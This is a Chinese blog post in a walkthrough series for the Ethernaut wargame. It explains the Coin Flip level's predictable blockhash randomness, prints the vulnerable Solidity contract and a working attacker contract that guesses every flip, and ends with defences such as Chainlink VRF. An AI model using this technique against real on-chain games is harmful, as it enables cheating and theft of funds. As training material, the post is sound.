iT邦幫忙

2022 iThome 鐵人賽

DAY 5
0

(Coin Flip)倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通關條件

玩家必須遊玩投擲硬幣遊戲,並且連續猜對 10 次才能通關

先備知識 (random)

智能合約用途廣泛,其中也不乏娛樂用途,但你知道其實,鏈上是產生不出隨機數的嗎?
原因是「鏈上的交易、資訊都是公開透明的」,而隨機數就恰好是由這些鏈上的資訊所產生,因此,我們大可以使用相同的資訊產生一組完全相同的資料來偷窺結果,那在第四關 Coin Flip 則會實際的讓大家操作一次這個過程。

程式碼

我們先專注在 flip 這個 function 上,可以看到它是由 block.number 和 blockhash() 產生出隨機數,先來看看 block.number 和 blockhash() 分別的用途吧

block.number : 回傳當前的區塊編號
blockhash(uint blocknumber) : 回傳給定的區塊編號的 hash

好的,所以只要我們的交易能夠和倒楣鬼放在同一個區塊裡面,這樣我們就能夠產生一組一模一樣的結果,再用這個結果 call flip 這個 function 就大功告成了。
哼哼,正好智能合約就可以幫我們做到這件事情,來看看下面這張示意圖吧。

簡言之,由惡意合約呼叫的目標合約的交易,這個動作是會被礦工打包進同一個區塊裡面的,所以我們可以在惡意合約裡面產生一次隨機數,再把這個隨機數當作 function 的參數傳入 flip,就能做到直接把結果當作參數輸入進去函數,這樣一來就能以 100% 獲勝的機率去猜硬幣囉。

通關

打開 remix 並且實作一次我們的假設。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Coinflip {
  function flip(bool _guess) external returns (bool);
}

contract malicious {

  Coinflip target = Coinflip("Your contract address");
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function hack() public {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    target.flip(side);
  }

}

記得將 Coinflip() 括號內填上自己的關卡的 address,然後部署上鏈就能測試效果啦
由於程式碼內有含

if (lastHash == blockValue) {
    revert();
}

不允許某一次的結果被猜一次以上,因此必須獨立執行十次 hack function 才能順利通關

就這樣,你也動手試試看吧

t(-.-t) t(-.-t) t(-.-t)

保護

我們現在已經知道了不能使用鏈上的資料產生隨機數,那我們該如何產生隨機數呢?

  • 使用外部 API
    • 這個方法不是不行,只是如果提供 API 的單位竄改了他的 API 惡意製造隨機數你也無從抵制,轉回源頭,若是使用了中心化的單位提供的服務,那區塊鏈的去中心化精神也一點不剩了吧。
  • 使用 Chainlink VRF
    • get random number
    • Chainlink VRF 是使用去中心化的架構和預言機來產生隨機數的,大家有興趣的可以去玩看看,若是未來有機會,會在使用一個篇幅來介紹 Chainlink VRF 的使用方法。

reference


上一篇
Day 4 - Fallout
下一篇
Day 6 - Chainlink VRF
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言